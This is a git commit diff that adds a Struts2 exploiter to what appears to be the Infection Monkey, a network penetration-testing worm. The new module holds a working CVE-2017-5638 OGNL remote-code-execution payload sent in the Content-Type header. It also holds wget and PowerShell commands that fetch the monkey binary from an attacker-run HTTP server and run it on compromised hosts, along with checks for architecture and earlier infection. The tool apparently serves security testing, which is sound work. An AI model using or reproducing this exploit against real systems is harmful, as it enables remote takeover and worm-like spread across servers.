Not yet functioning and tested, but most functions are done

This commit is contained in:
Vakaris 2018-06-19 18:08:52 +03:00
parent 9a8a6c6e28
commit 413bdd9254
5 changed files with 218 additions and 4 deletions

View File

@ -7,7 +7,7 @@ from abc import ABCMeta
from itertools import product
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \
SambaCryExploiter, ElasticGroovyExploiter
SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger
__author__ = 'itamar'
@ -148,7 +148,7 @@ class Configuration(object):
finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger]
exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits
SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux
ElasticGroovyExploiter, # multi
ElasticGroovyExploiter, Struts2Exploiter # multi
]
# how many victims to look for in a single scan iteration

View File

@ -36,7 +36,8 @@
"WmiExploiter",
"ShellShockExploiter",
"ElasticGroovyExploiter",
"SambaCryExploiter"
"SambaCryExploiter",
"Struts2Exploiter"
],
"finger_classes": [
"SSHFinger",

View File

@ -41,3 +41,4 @@ from sshexec import SSHExploiter
from shellshock import ShellShockExploiter
from sambacry import SambaCryExploiter
from elasticgroovy import ElasticGroovyExploiter
from struts2 import Struts2Exploiter

View File

@ -0,0 +1,204 @@
"""
Implementation is based on Struts2 jakarta multiparser RCE exploit ( CVE-2017-5638 )
code used is from https://www.exploit-db.com/exploits/41570/
Vulnerable struts2 versions <=2.3.31 and <=2.5.10
"""
import urllib2
import httplib
import unicodedata
import re
from network.tools import check_tcp_ports
import logging
from exploit import HostExploiter
from exploit.tools import get_target_monkey, get_monkey_depth
from tools import build_monkey_commandline, HTTPTools
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
ID_STRING = "M0NK3YSTRUTS2"
MONKEY_ARG = "m0nk3y"
# Commands used for downloading monkeys
POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (MONKEY_ARG, )
WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && sudo chmod a+rwx %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (MONKEY_ARG, )
# Command used to check whether host is vulnerable
CHECK_COMMAND = "echo %s" % ID_STRING
# Commands used to check for architecture
CHECK_WINDOWS = "%s && wmic os get osarchitecture" % ID_STRING
CHECK_LINUX = "%s && lscpu" % ID_STRING
# Commands used to check if monkeys already exists
EXISTS = "ls %s"
WEB_PORTS = [80, 443, 8080]
# Timeouts if the payload is wrong
DOWNLOAD_TIMEOUT = 30
# This is set so that we don't have to wait for monkeys' output (in seconds)
RESPONSE_TIMEOUT = 1
class Struts2Exploiter(HostExploiter):
_TARGET_OS_TYPE = ['linux', 'windows']
def __init__(self, host):
super(Struts2Exploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration
self.skip_exist = self._config.skip_exploit_if_file_exist
def exploit_host(self):
# TODO add skip if file exists
# Initializing vars for convenience
ports, _ = check_tcp_ports(self.host.ip_addr, WEB_PORTS)
dropper_path_linux = self._config.dropper_target_path_linux
dropper_path_win_32 = self._config.dropper_target_path_win_32
dropper_path_win_64 = self._config.dropper_target_path_win_64
if not ports:
LOG.info("All web ports are closed on %r, skipping", self.host)
return False
for port in ports:
if port == 443:
current_host = "https://%s:%d" % (self.host.ip_addr, port)
else:
# TODO remove struts from url
current_host = "http://%s:%d/struts" % (self.host.ip_addr, port)
# Get full URL
current_host = self.get_redirected(current_host)
# Get os architecture so that we don't have to update monkey
LOG.info("Trying to exploit with struts2")
# Check if host is vulnerable and get host os architecture
if 'linux' in self.host.os['type']:
host_arch = Struts2Exploiter.try_exploit_linux(current_host)
else:
host_arch = Struts2Exploiter.try_exploit_windows(current_host)
if host_arch:
self.host.os['machine'] = host_arch
if current_host and host_arch:
LOG.info("Host is exploitable with struts2 RCE vulnerability")
src_path = get_target_monkey(self.host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
# create server for http download.
http_path, http_thread = HTTPTools.create_transfer(self.host, src_path)
if not http_path:
LOG.debug("Exploiter Struts2 failed, http transfer creation failed.")
return False
LOG.info("Started http server on %s", http_path)
cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1)
# Form command according to os
if 'linux' in self.host.os['type']:
if self.skip_exist and (self.check_remote_file(current_host, dropper_path_linux)):
return True
command = WGET_HTTP % {'monkey_path': dropper_path_linux,
'http_path': http_path, 'parameters': cmdline}
else:
if self.skip_exist and (self.check_remote_file(current_host, dropper_path_win_32)
or self.check_remote_file(current_host, dropper_path_win_64)):
return True
command = POWERSHELL_HTTP % {'monkey_path': re.escape(dropper_path_win_32),
'http_path': http_path, 'parameters': cmdline}
self.exploit(current_host, command)
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
LOG.info("Struts2 exploit attempt finished")
return True
return False
def check_remote_file(self, host, path):
command = EXISTS % path
resp = self.exploit(host, command)
if 'No such file' in resp:
return False
else:
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
return True
@staticmethod
def try_exploit_windows(url):
resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS)
if resp and ID_STRING in resp:
if "64-bit" in resp:
return "64"
else:
return "32"
else:
return False
@staticmethod
def try_exploit_linux(url):
resp = Struts2Exploiter.exploit(url, CHECK_LINUX)
if resp and ID_STRING in resp:
if "x86_64" in resp:
return "64"
else:
return "32"
else:
return False
@staticmethod
def get_redirected(url):
# Returns false if url is not right
headers = {'User-Agent': 'Mozilla/5.0'}
request = urllib2.Request(url, headers=headers)
try:
return urllib2.urlopen(request).geturl()
except urllib2.URLError:
return False
@staticmethod
def exploit(url, cmd, timeout=None):
"""
:param url: Full url to send request to
:param cmd: Code to try and execute on host
:param timeout: How long to wait for response in seconds(if monkey is executed
it's better not to wait it's whole output
:return: response
"""
page = ""
payload = "%{(#_='multipart/form-data')."
payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
payload += "(#_memberAccess?"
payload += "(#_memberAccess=#dm):"
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
payload += "(#ognlUtil.getExcludedClasses().clear())."
payload += "(#context.setMemberAccess(#dm))))."
payload += "(#cmd='%s')." % cmd
payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
payload += "(#ros.flush())}"
# Turns payload ascii just for consistency
if isinstance(payload, unicode):
payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore')
headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
try:
request = urllib2.Request(url, headers=headers)
# Timeout added or else we would wait for all monkeys' output
page = urllib2.urlopen(request, timeout=timeout).read()
except AttributeError:
# If url does not exist
return False
except httplib.IncompleteRead, e:
page = e.partial
except Exception:
LOG.info("Request timed out, because monkey is still running on remote host")
return page

View File

@ -80,6 +80,13 @@ SCHEMA = {
],
"title": "ElasticGroovy Exploiter"
},
{
"type": "string",
"enum": [
"Struts2Exploiter"
],
"title": "Struts2 Exploiter"
}
]
},
"finger_classes": {
@ -609,7 +616,8 @@ SCHEMA = {
"SSHExploiter",
"ShellShockExploiter",
"SambaCryExploiter",
"ElasticGroovyExploiter"
"ElasticGroovyExploiter",
"Struts2Exploiter"
],
"description":
"Determines which exploits to use. " + WARNING_SIGN